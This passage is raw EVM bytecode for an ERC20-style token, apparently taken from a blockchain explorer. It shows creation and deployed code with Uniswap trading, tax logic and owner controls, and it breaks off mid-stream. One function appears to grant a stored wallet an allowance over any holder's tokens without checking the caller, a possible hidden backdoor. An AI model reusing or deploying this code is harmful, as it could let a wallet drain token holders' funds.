16601060000160079054906101000a900460ff1660ff16826133a691906149a1565b6133b09190614970565b601260008282546133c19190614b07565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160059054906101000a900460ff1660ff16826133ff91906149a1565b6134099190614970565b6011600082825461341a9190614b07565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160069054906101000a900460ff1660ff168261345891906149a1565b6134629190614970565b601360008282546134739190614b07565b9250508190555061363c565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134ed57506000601060000160009054906101000a900460ff1660ff16115b1561363b5761352d606461351f601060000160009054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601060000160009054906101000a900460ff1660ff16601060000160039054906101000a900460ff1660ff168261356691906149a1565b6135709190614970565b601260008282546135819190614b07565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160019054906101000a900460ff1660ff16826135bf91906149a1565b6135c99190614970565b601160008282546135da9190614b07565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160029054906101000a900460ff1660ff168261361891906149a1565b6136229190614970565b601360008282546136339190614b07565b925050819055505b5b5b600081111561365257613651873083613895565b5b808561365e919061500a565b9450505b61366d868686613895565b5050505b505050565b60008383111582906136be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136b5919061428a565b60405180910390fd5b50600083856136cd919061500a565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361371357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361374c57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161382a919061440a565b60405180910390a3505050565b60008082846138469190614b07565b90508381101561388b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138829061508a565b60405180910390fd5b8091505092915050565b61390081604051806060016040528060268152602001615347602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613993816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a32919061440a565b60405180910390a3505050565b6000613a4a306119bc565b90506000601354601154601254613a619190614b07565b613a6b9190614b07565b9050600080831480613a7d5750600082145b15613a8a57505050613d66565b6014600d54613a9991906149a1565b831115613ab2576014600d54613aaf91906149a1565b92505b600060028360125486613ac591906149a1565b613acf9190614970565b613ad99190614970565b90506000613b08600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119bc565b90506000613b2a8284613b1b919061500a565b87613e2c90919063ffffffff16565b90506000479050613b3a82613e76565b6000613b4f8247613e2c90919063ffffffff16565b90506000613b7a88613b6c60115485613d6890919063ffffffff16565b613de290919063ffffffff16565b90506000613ba589613b9760135486613d6890919063ffffffff16565b613de290919063ffffffff16565b905060008183613bb59190614b07565b84613bc0919061500a565b9050600060128190555060006011819055506000601381905550600088118015613bea5750600081115b15613c3357613bf988826140b9565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051613c2a9291906150aa565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168347613c78919061500a565b604051613c8490615104565b60006040518083038185875af1925050503d8060008114613cc1576040519150601f19603f3d011682016040523d82523d6000602084013e613cc6565b606091505b505080995050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613d1290615104565b60006040518083038185875af1925050503d8060008114613d4f576040519150601f19603f3d011682016040523d82523d6000602084013e613d54565b606091505b50508099505050505050505050505050505b565b6000808303613d7a5760009050613ddc565b60008284613d8891906149a1565b9050828482613d979190614970565b14613dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dce9061518b565b60405180910390fd5b809150505b92915050565b6000613e2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614197565b905092915050565b6000613e6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613676565b905092915050565b6000600267ffffffffffffffff811115613e9357613e926151ab565b5b604051908082528060200260200182016040528015613ec15781602001602082028036833780820191505090505b5090503081600081518110613ed957613ed86151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa49190614758565b81600181518110613fb857613fb76151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061401f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140839594939291906152c7565b600060405180830381600087803b15801561409d57600080fd5b505af11580156140b1573d6000803e3d6000fd5b505050505050565b6140e630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161414d969594939291906147e9565b60606040518083038185885af115801561416b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190614190919061485f565b5050505050565b600080831182906141de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141d5919061428a565b60405180910390fd5b50600083856141ed9190614970565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614234578082015181840152602081019050614219565b60008484015250505050565b6000601f19601f8301169050919050565b600061425c826141fa565b6142668185614205565b9350614276818560208601614216565b61427f81614240565b840191505092915050565b600060208201905081810360008301526142a48184614251565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142dc826142b1565b9050919050565b6142ec816142d1565b81146142f757600080fd5b50565b600081359050614309816142e3565b92915050565b6000819050919050565b6143228161430f565b811461432d57600080fd5b50565b60008135905061433f81614319565b92915050565b6000806040838503121561435c5761435b6142ac565b5b600061436a858286016142fa565b925050602061437b85828601614330565b9150509250929050565b60008115159050919050565b61439a81614385565b82525050565b60006020820190506143b56000830184614391565b92915050565b600080604083850312156143d2576143d16142ac565b5b60006143e085828601614330565b92505060206143f185828601614330565b9150509250929050565b6144048161430f565b82525050565b600060208201905061441f60008301846143fb565b92915050565b60008060006060848603121561443e5761443d6142ac565b5b600061444c868287016142fa565b935050602061445d868287016142fa565b925050604061446e86828701614330565b9150509250925092565b600060ff82169050919050565b61448e81614478565b82525050565b60006020820190506144a96000830184614485565b92915050565b6144b8816142d1565b82525050565b60006020820190506144d360008301846144af565b92915050565b6000602082840312156144ef576144ee6142ac565b5b60006144fd848285016142fa565b91505092915050565b60006020828403121561451c5761451b6142ac565b5b600061452a84828501614330565b91505092915050565b61453c81614385565b811461454757600080fd5b50565b60008135905061455981614533565b92915050565b60008060408385031215614576576145756142ac565b5b6000614584858286016142fa565b92505060206145958582860161454a565b9150509250929050565b6000610100820190506145b5600083018b614485565b6145c2602083018a614485565b6145cf6040830189614485565b6145dc6060830188614485565b6145e96080830187614485565b6145f660a0830186614485565b61460360c0830185614485565b61461060e0830184614485565b9998505050505050505050565b60008060408385031215614634576146336142ac565b5b6000614642858286016142fa565b9250506020614653858286016142fa565b9150509250929050565b6000819050919050565b600061468261467d614678846142b1565b61465d565b6142b1565b9050919050565b600061469482614667565b9050919050565b60006146a682614689565b9050919050565b6146b68161469b565b82525050565b60006020820190506146d160008301846146ad565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061470d602083614205565b9150614718826146d7565b602082019050919050565b6000602082019050818103600083015261473c81614700565b9050919050565b600081519050614752816142e3565b92915050565b60006020828403121561476e5761476d6142ac565b5b600061477c84828501614743565b91505092915050565b600060408201905061479a60008301856144af565b6147a760208301846144af565b9392505050565b6000819050919050565b60006147d36147ce6147c9846147ae565b61465d565b61430f565b9050919050565b6147e3816147b8565b82525050565b600060c0820190506147fe60008301896144af565b61480b60208301886143fb565b61481860408301876147da565b61482560608301866147da565b61483260808301856144af565b61483f60a08301846143fb565b979650505050505050565b60008151905061485981614319565b92915050565b600080600060608486031215614878576148776142ac565b5b60006148868682870161484a565b93505060206148978682870161484a565b92505060406148a88682870161484a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806148f957607f821691505b60208210810361490c5761490b6148b2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061497b8261430f565b91506149868361430f565b92508261499657614995614912565b5b828204905092915050565b60006149ac8261430f565b91506149b78361430f565b92508282026149c58161430f565b915082820484148315176149dc576149db614941565b5b5092915050565b7f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60008201527f2031250000000000000000000000000000000000000000000000000000000000602082015250565b6000614a3f602383614205565b9150614a4a826149e3565b604082019050919050565b60006020820190508181036000830152614a6e81614a32565b9050919050565b7f6d617853656c6c416d6f756e74206d757374206265206869676865722074686160008201527f6e20312500000000000000000000000000000000000000000000000000000000602082015250565b6000614ad1602483614205565b9150614adc82614a75565b604082019050919050565b60006020820190508181036000830152614b0081614ac4565b9050919050565b6000614b128261430f565b9150614b1d8361430f565b9250828201905080821115614b3557614b34614941565b5b92915050565b6000604082019050614b5060008301856144af565b614b5d60208301846143fb565b9392505050565b600081519050614b7381614533565b92915050565b600060208284031215614b8f57614b8e6142ac565b5b6000614b9d84828501614b64565b91505092915050565b7f4d757374206b65657020756e6973776170563250616972000000000000000000600082015250565b6000614bdc601783614205565b9150614be782614ba6565b602082019050919050565b60006020820190508181036000830152614c0b81614bcf565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c6e602283614205565b9150614c7982614c12565b604082019050919050565b60006020820190508181036000830152614c9d81614c61565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d00602683614205565b9150614d0b82614ca4565b604082019050919050565b60006020820190508181036000830152614d2f81614cf3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d92602483614205565b9150614d9d82614d36565b604082019050919050565b60006020820190508181036000830152614dc181614d85565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e24602283614205565b9150614e2f82614dc8565b604082019050919050565b60006020820190508181036000830152614e5381614e17565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614e90601683614205565b9150614e9b82614e5a565b602082019050919050565b60006020820190508181036000830152614ebf81614e83565b9050919050565b7f627579207472616e73666572206f766572206d617820616d6f756e7400000000600082015250565b6000614efc601c83614205565b9150614f0782614ec6565b602082019050919050565b60006020820190508181036000830152614f2b81614eef565b9050919050565b7f53656c6c207472616e73666572206f766572206d617820616d6f756e74000000600082015250565b6000614f68601d83614205565b9150614f7382614f32565b602082019050919050565b60006020820190508181036000830152614f9781614f5b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614fd4601383614205565b9150614fdf82614f9e565b602082019050919050565b6000602082019050818103600083015261500381614fc7565b9050919050565b60006150158261430f565b91506150208361430f565b925082820390508181111561503857615037614941565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615074601b83614205565b915061507f8261503e565b602082019050919050565b600060208201905081810360008301526150a381615067565b9050919050565b60006040820190506150bf60008301856143fb565b6150cc60208301846143fb565b9392505050565b600081905092915050565b50565b60006150ee6000836150d3565b91506150f9826150de565b600082019050919050565b600061510f826150e1565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615175602183614205565b915061518082615119565b604082019050919050565b600060208201905081810360008301526151a481615168565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61523e816142d1565b82525050565b60006152508383615235565b60208301905092915050565b6000602082019050919050565b600061527482615209565b61527e8185615214565b935061528983615225565b8060005b838110156152ba5781516152a18882615244565b97506152ac8361525c565b92505060018101905061528d565b5085935050505092915050565b600060a0820190506152dc60008301886143fb565b6152e960208301876147da565b81810360408301526152fb8186615269565b905061530a60608301856144af565b61531760808301846143fb565b969550505050505056fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207047f97ecc3fbac146feba81d051fd2b2821198f5a71708d6a28ea15baa58c4d64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c80638a8c523c1161012e578063c0246668116100ab578063e16830a81161006f578063e16830a81461086c578063ec4a183d14610895578063f2fde38b146108d2578063f5b3c3bf146108fb578063f887ea40146109385761023b565b8063c024666814610782578063c16dd4a4146107ab578063c18bc195146107d4578063d212a69a146107fd578063dd62ed3e1461082f5761023b565b80639e252f00116100f25780639e252f00146106895780639fccce32146106b2578063a457c2d7146106dd578063a9059cbb1461071a578063b8863115146107575761023b565b80638a8c523c146105b65780638cd4426d146105cd5780638da5cb5b146105f657806395d89b411461062157806396880b171461064c5761023b565b8063313ce567116101bc5780636ddd1713116101805780636ddd1713146104e357806370a082311461050e578063715018a61461054b578063751039fc146105625780637571336a1461058d5761023b565b8063313ce567146103d6578063395093511461040157806349bd5a5e1461043e5780634fbee19314610469578063555467a1146104a65761023b565b806318160ddd1161020357806318160ddd146102db5780631a8145bb146103065780631f3fed8f1461033157806323b872dd1461035c5780632a0274c2146103995761023b565b806301339c211461024057806306fdde031461024a578063095ea7b31461027557806311a582c3146102b25761023b565b3661023b57005b600080fd5b610248610963565b005b34801561025657600080fd5b5061025f61141a565b60405161026c919061428a565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190614345565b6114ac565b6040516102a991906143a0565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d491906143bb565b6114ca565b005b3480156102e757600080fd5b506102f061169b565b6040516102fd919061440a565b60405180910390f35b34801561031257600080fd5b5061031b6116a5565b604051610328919061440a565b60405180910390f35b34801561033d57600080fd5b506103466116ab565b604051610353919061440a565b60405180910390f35b34801561036857600080fd5b50610383600480360381019061037e9190614425565b6116b1565b60405161039091906143a0565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190614345565b61178a565b6040516103cd91906143a0565b60405180910390f35b3480156103e257600080fd5b506103eb6117c8565b6040516103f89190614494565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190614345565b6117d1565b60405161043591906143a0565b60405180910390f35b34801561044a57600080fd5b50610453611884565b60405161046091906144be565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906144d9565b6118aa565b60405161049d91906143a0565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190614506565b611900565b6040516104da91906143a0565b60405180910390f35b3480156104ef57600080fd5b506104f86119a9565b60405161050591906143a0565b60405180910390f35b34801561051a57600080fd5b50610535600480360381019061053091906144d9565b6119bc565b604051610542919061440a565b60405180910390f35b34801561055757600080fd5b50610560611a04565b005b34801561056e57600080fd5b50610577611b5c565b60405161058491906143a0565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af919061455f565b611c26565b005b3480156105c257600080fd5b506105cb611d18565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190614345565b611dfa565b005b34801561060257600080fd5b5061060b611f1b565b60405161061891906144be565b60405180910390f35b34801561062d57600080fd5b50610636611f45565b604051610643919061428a565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e91906144d9565b611fd7565b60405161068091906143a0565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190614506565b611ff7565b005b3480156106be57600080fd5b506106c76120df565b6040516106d4919061440a565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff9190614345565b6120e5565b60405161071191906143a0565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190614345565b6121b2565b60405161074e91906143a0565b60405180910390f35b34801561076357600080fd5b5061076c6121d0565b60405161077991906143a0565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a4919061455f565b6121e3565b005b3480156107b757600080fd5b506107d260048036038101906107cd919061455f565b6122d5565b005b3480156107e057600080fd5b506107fb60048036038101906107f69190614506565b612457565b005b34801561080957600080fd5b5061081261258c565b60405161082698979695949392919061459f565b60405180910390f35b34801561083b57600080fd5b506108566004803603810190610851919061461d565b61262a565b604051610863919061440a565b60405180910390f35b34801561087857600080fd5b50610893600480360381019061088e919061455f565b6126b1565b005b3480156108a157600080fd5b506108bc60048036038101906108b791906144d9565b6127a3565b6040516108c991906143a0565b60405180910390f35b3480156108de57600080fd5b506108f960048036038101906108f491906144d9565b6127c3565b005b34801561090757600080fd5b50610922600480360381019061091d91906144d9565b612989565b60405161092f91906143a0565b60405180910390f35b34801561094457600080fd5b5061094d6129a9565b60405161095a91906146bc565b60405180910390f35b61096b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190614723565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190614758565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8d9190614758565b6040518363ffffffff1660e01b8152600401610baa929190614785565b6020604051808303816000875af1158015610bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bed9190614758565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160166000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000610e23611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000610fce611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000611085611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061136330600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306113ac306119bc565b60008033426040518863ffffffff1660e01b81526004016113d2969594939291906147e9565b60606040518083038185885af11580156113f0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611415919061485f565b505050565b606060038054611429906148e1565b80601f0160208091040260200160405190810160405280929190818152602001828054611455906148e1565b80156114a25780601f10611477576101008083540402835291602001916114a2565b820191906000526020600020905b81548152906001019060200180831161148557829003601f168201915b5050505050905090565b60006114c06114b96129cf565b84846129d7565b6001905092915050565b6114d26129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890614723565b60405180910390fd5b606461156b61169b565b6115759190614970565b6103e88361158161169b565b61158b91906149a1565b6115959190614970565b10156115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd90614a55565b60405180910390fd5b60646115e061169b565b6115ea9190614970565b6103e8826115f661169b565b61160091906149a1565b61160a9190614970565b101561164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290614ae7565b60405180910390fd5b6103e88261165761169b565b61166191906149a1565b61166b9190614970565b600a819055506103e88161167d61169b565b61168791906149a1565b6116919190614970565b600b819055505050565b6000600254905090565b60125481565b60115481565b60006116be848484612ba0565b61177f846116ca6129cf565b61177a8560405180606001604052806028815260200161536d60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006117306129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b600190509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506117bd8482856136da565b600191505092915050565b60006012905090565b600061187a6117de6129cf565b8461187585600160006117ef6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6129d7565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061190a6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090614723565b60405180910390fd5b81600d8190555060019050919050565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a0c6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9290614723565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611b666129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bec90614723565b60405180910390fd5b611bfd61169b565b600a81905550611c0b61169b565b600b81905550611c1961169b565b600c819055506001905090565b611c2e6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb490614723565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611d206129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da690614723565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550600243611df29190614b07565b601481905550565b611e026129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8890614723565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611eb5611f1b565b836040518363ffffffff1660e01b8152600401611ed3929190614b3b565b6020604051808303816000875af1158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f169190614b79565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611f54906148e1565b80601f0160208091040260200160405190810160405280929190818152602001828054611f80906148e1565b8015611fcd5780601f10611fa257610100808354040283529160200191611fcd565b820191906000526020600020905b815481529060010190602001808311611fb057829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611fff6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461208e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208590614723565b60405180910390fd5b612096611f1b565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120db573d6000803e3d6000fd5b5050565b60135481565b60006121a86120f26129cf565b846121a385604051806060016040528060258152602001615322602591396001600061211c6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002